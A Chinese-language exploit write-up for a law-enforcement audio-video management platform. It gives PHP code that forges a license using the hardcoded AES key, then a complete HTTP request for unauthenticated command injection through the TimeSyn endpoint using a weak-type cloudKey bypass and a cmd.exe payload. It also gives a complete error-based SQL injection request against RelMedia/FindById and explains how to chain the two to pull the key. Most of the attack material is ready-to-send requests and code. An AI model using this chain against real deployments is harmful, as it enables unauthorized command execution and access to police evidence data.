执法视音频综合管理平台未授权RCE漏洞分析
下载链接:https://www.yulongdt.com/int/download.html
(找个Zendecode解密一下就行)
1、liscense激活
下载的那个版本要liscense,看一下liscense的check逻辑:
private function _checkLicense2()
{
$filename = "protected/auth/auth.license";
if (!file_exists($filename)) {
$this->activate(1000);
}
$file = @file($filename);
if (empty($file)) {
$this->activate(2000);
}
$msg = NULL;
foreach ($file as $v ) {
$msg .= $v;
}
$encrypt = new Encrypt();
$board = $encrypt->mydecrypt($msg);
$board = trim($board);
unset($msg);
if (!isset($board)) {
$this->activate(5000);
}
$ok = LicenseApply::xml_parser($board);
if (!$ok) {
$this->activate(6000);
}
$root = simplexml_load_string($board);
$msg = array();
foreach ($root->item as $sxe ) {
if ($sxe) {
foreach ($sxe->attributes() as $k => $v ) {
$msg[$k] = strval($v);
}
}
}
$wmic = "wmic csproduct get uuid";
$exec = @exec($wmic, $output);
if (empty($output)) {
$this->activate(3000);
}
$execBoard = trim($output[1]);
if ((trim($msg["uuid"]) != "0") && ($execBoard != trim($msg["uuid"]))) {
$this->activate(4000);
}
}
很简单,就一个AES解密,然后check一下里面的uuid和本机的uuid是否相同。由于AES密钥直接硬编码,uuid的值在安装完成之后可以运行wmic csproduct get uuid获取,构造如下代码放到根目录,把获取到的字符串贴到protected/auth/auth.license文件里面即可,代码如下:
<?php
class Encrypt
{
const KEY = "hda@2014";
private $iv = " ";
private $encryptKey = "ydt20201111111111111111111111111";
public function encode($str)
{
$size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);
$str = $this->pkcs5Pad($str, $size);
return mcrypt_cbc(MCRYPT_DES, self::KEY, $str, MCRYPT_ENCRYPT, self::KEY);
}
public function decode($str)
{
$str = mcrypt_cbc(MCRYPT_DES, self::KEY, $str, MCRYPT_DECRYPT, self::KEY);
$str = $this->pkcs5Unpad($str);
return $str;
}
public function pkcs5Pad($text, $blocksize)
{
$pad = $blocksize - (strlen($text) % $blocksize);
return $text . str_repeat(chr($pad), $pad);
}
public function pkcs5Unpad($text)
{
$pad = ord($text[strlen($text) - 1]);
if (strlen($text) < $pad) {
return false;
}
if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) {
return false;
}
return substr($text, 0, -1 * $pad);
}
public function myencrypt($encryptStr)
{
$localIV = $this->iv;
$encryptKey = $this->encryptKey;
$module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, "", MCRYPT_MODE_CBC, $localIV);
mcrypt_generic_init($module, $encryptKey, $localIV);
$block = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$encrypted = mcrypt_generic($module, $encryptStr);
mcrypt_generic_deinit($module);
mcrypt_module_close($module);
return base64_encode($encrypted);
}
public function mydecrypt($encryptStr)
{
$localIV = $this->iv;
$encryptKey = $this->encryptKey;
$module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, "", MCRYPT_MODE_CBC, $localIV);
mcrypt_generic_init($module, $encryptKey, $localIV);
$encryptedData = base64_decode($encryptStr);
$encryptedData = mdecrypt_generic($module, $encryptedData);
return $encryptedData;
}
}
$s = "<root><item uuid=\"C14961A3-C997-41B3-9E73-0894A4BD85D5\"></item></root>";
$b = new Encrypt();
echo $b->myencrypt($s);
?>
2、未授权RCE(默认情况下不需要步骤三)
系统用的yii框架,自定义了两个Controller来做权限控制,父子结构如下:
class UController extends CController
class Controller extends UController
其中CController是yii的控制器,UController内实现了的accessRules方法来做权限控制,代码如下:
public function accessRules()
{
return array(
array(
0 => "allow",
"controllers" => array("floder"),
"users" => array("@")
),
array(
0 => "allow",
"actions" => array("chgPwd"),
"controllers" => array("user"),
"users" => array("@")
),
array(
0 => "allow",
"controllers" => array("third"),
"users" => array("*")
),
array(
0 => "allow",
"actions" => array("index", "logout", "welcome", "configRed5"),
"controllers" => array("site"),
"users" => array("*"),
"expression" => array($this, "checkRole")
),
array(
0 => "allow",
"actions" => array("login", "Activate", "info"),
"controllers" => array("site", "LicenseApply"),
"users" => array("*")
),
array(
0 => "allow",
"actions" => array("login"),
"controllers" => array("site"),
"users" => array("*")
),
array(
0 => "allow",
"controllers" => array("gpsonline"),
"users" => array("*")
),
array(
0 => "allow",
"controllers" => array("group"),
"users" => array("@")
),
array(
0 => "allow",
"controllers" => array("module"),
"users" => array("@")
),
array(
0 => "allow",
"users" => array("@"),
"expression" => array($this, "checkRole")
),
array(
0 => "deny",
"users" => array("*")
)
);
}
限制了一些可以访问的控制器以及相应方法。所以这里未授权路由的挖掘可以从两个方面入手:
- 在上述accessRules方法中allow *的method
- 直接继承CController类,没有经过Controller和UController
在上述accessRules中,thirdController可以未授权访问,在其actionTimeSyn方法中存在命令注入:
public function actionTimeSyn()
{
if (!isset($_POST["cloudKey"]) && isset($_POST["date"]) && isset($_POST["time"]) || empty($_POST["cloudKey"])) {
return NULL;
}
$cloudKey = SysConfig::model()->findConfigByItem("cloudKey");
if ($_POST["cloudKey"] != $cloudKey) {
return NULL;
}
@exec("date {$_POST["date"]}");
@exec("time {$_POST["time"]}");
exit("1");
}
这里注入的点很明显,date和time参数都可控,唯一需要的是过掉上面的if语句,也就是需要知道cloudKey。在默认安装的情况下,cloudKey为空,这时可以利用PHP的弱语言类型,传入cloudKey的值为16进制的0即可,数据包如下:
POST http://10.106.108.185/index.php?r=Third/TimeSyn HTTP/1.1
Host: 10.106.108.185
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
cloudKey=0x0&date=|cmd.exe+/c+calc&time=1
如果系统存在cloudKey,可以利用第三步的SQLI来获取。
3、前台SQL注入
前面分析过,如果实现的控制器直接继承CController的话,就不受鉴权影响。RelMediaController正好满足这个条件,代码如下:
class RelMediaController extends CController{
public function actionFindById()
{
$id = $_POST["id"];
$uid = "";
$sql = "select a.*,b.full_name,c.name group_name\r\n\t\t\t\tfrom `media` a,`user` b,`group` c\r\n\t\t\t\twhere a.police_number=b.police_number and b.group_id=c.id and a.id=" . $id;
if ($uid) {
$sql .= " and b.id in(" . $uid . ")";
}
$data = Yii::app()->db->createCommand($sql)->queryRow();
$sql = "select a.id from `media` a,`user` b \r\n\t\t\t\twhere a.police_number=b.police_number and a.id>" . $id;
if ($uid) {
$sql .= " and b.id in(" . $uid . ")";
}
$sql .= " order by a.import_time asc";
$tmp = Yii::app()->db->createCommand($sql)->queryRow();
$data["pre_id"] = ($tmp ? $tmp["id"] : 0);
$sql = "select a.id from `media` a,`user` b \r\n\t\t\t\twhere a.police_number=b.police_number and a.id<" . $id;
if ($uid) {
$sql .= " and b.id in(" . $uid . ")";
}
$sql .= " order by a.import_time desc";
$tmp = Yii::app()->db->createCommand($sql)->queryRow();
$data["next_id"] = ($tmp ? $tmp["id"] : 0);
$ip = sprintf("%s", $_SERVER["SERVER_NAME"]);
$file = Yii::app()->params["mediaPath"] . $data["path"];
if (!file_exists($file)) {
$station = Station::model()->find("number=:number", array(":number" => $data["station_number"]));
$ip = $station["ip"];
}
$data["src"] = "http://$ip/streams/{$data["path"]}";
echo json_encode(array("success" => true, "data" => $data));
}
}
这里很明显$_POST["id"]的注入点,而且系统是开启了报错回显的,直接报错注入就行:
POST http://ip/index.php?r=RelMedia/FindById HTTP/1.1
Host: ip
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tujm9j5aopafrb41mvu0mq08a4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
id=1+and+updatexml(1,concat(0x7e,user()),1)--+
第二步RCE需要的cloudKey在sys_config这张表,如果配置了直接查询就行。